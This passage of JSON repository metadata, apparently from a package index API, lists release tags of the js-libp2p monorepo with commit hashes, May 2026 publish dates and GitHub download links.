p2p-main-v1.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.25/manifests"},{"name":"kad-dht-v16.2.6","sha":"94f875c3fd1269e21c13cd364ca56b35fc8c72bf","kind":"commit","published_at":"2026-05-13T00:19:12.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.2.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.6/manifests"},{"name":"interop-v14.0.24","sha":"94f875c3fd1269e21c13cd364ca56b35fc8c72bf","kind":"commit","published_at":"2026-05-13T00:19:12.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.24/manifests"},{"name":"integration-tests-v1.2.8","sha":"94f875c3fd1269e21c13cd364ca56b35fc8c72bf","kind":"commit","published_at":"2026-05-13T00:19:12.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.8/manifests"},{"name":"daemon-v6.0.24","sha":"94f875c3fd1269e21c13cd364ca56b35fc8c72bf","kind":"commit","published_at":"2026-05-13T00:19:12.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.24/manifests"},{"name":"daemon-server-v9.0.24","sha":"94f875c3fd1269e21c13cd364ca56b35fc8c72bf","kind":"commit","published_at":"2026-05-13T00:19:12.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.24/manifests"},{"name":"daemon-client-v10.0.24","sha":"94f875c3fd1269e21c13cd364ca56b35fc8c72bf","kind":"commit","published_at":"2026-05-13T00:19:12.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.24/manifests"},{"name":"transport-interop-libp2p-main-v1.0.24","sha":"dbc527ce988a892911846c40b93d1752c14da97f","kind":"commit","published_at":"2026-05-12T22:25:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.24/manifests"},{"name":"integration-tests-v1.2.7","sha":"dbc527ce988a892911846c40b93d1752c14da97f","kind":"commit","published_at":"2026-05-12T22:25:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.7/manifests"},{"name":"identify-v4.1.5","sha":"dbc527ce988a892911846c40b93d1752c14da97f","kind":"commit","published_at":"2026-05-12T22:25:53.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.5/manifests"},{"name":"webtransport-v6.0.23","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.23/manifests"},{"name":"websockets-v10.1.12","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.12/manifests"},{"name":"webrtc-v6.0.22","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.22/manifests"},{"name":"utils-v7.2.0","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.2.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.2.0/manifests"},{"name":"upnp-nat-v4.0.19","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.19/manifests"},{"name":"transport-interop-libp2p-main-v1.0.23","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.23/manifests"},{"name":"tls-v3.1.1","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.1/manifests"},{"name":"tcp-v11.0.19","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.19/manifests"},{"name":"simple-metrics-v2.0.15","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.15/manifests"},{"name":"prometheus-metrics-v5.0.20","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.20/manifests"},{"name":"pnet-v3.0.20","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.20/manifests"},{"name":"plaintext-v3.0.19","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.19/manifests"},{"name":"ping-v3.1.4","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.4/manifests"},{"name":"perf-v5.1.4","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.4/manifests"},{"name":"peer-store-v12.0.19","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.19/manifests"},{"name":"peer-record-v9.0.10","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.10/manifests"},{"name":"peer-id-v6.0.9","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.9/manifests"},{"name":"peer-collections-v7.0.19","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.19/manifests"},{"name":"opentelemetry-metrics-v2.0.20","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.20/manifests"},{"name":"multistream-select-v7.0.19","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.19/manifests"},{"name":"mplex-v12.0.21","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.21/manifests"},{"name":"memory-v2.0.19","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.19/manifests"},{"name":"mdns-v12.0.21","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.21/manifests"},{"name":"logger-v6.2.7","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.7/manifests"},{"name":"libp2p-v3.3.0","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.3.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.0/manifests"},{"name":"keychain-v6.1.1","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.1.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.1/manifests"},{"name":"kad-dht-v16.2.5","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.2.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.5/manifests"},{"name":"interop-v14.0.23","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.23/manifests"},{"name":"interface-internal-v3.1.4","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.4/manifests"},{"name":"interface-compliance-tests-v7.0.21","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.21/manifests"},{"name":"integration-tests-v1.2.6","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag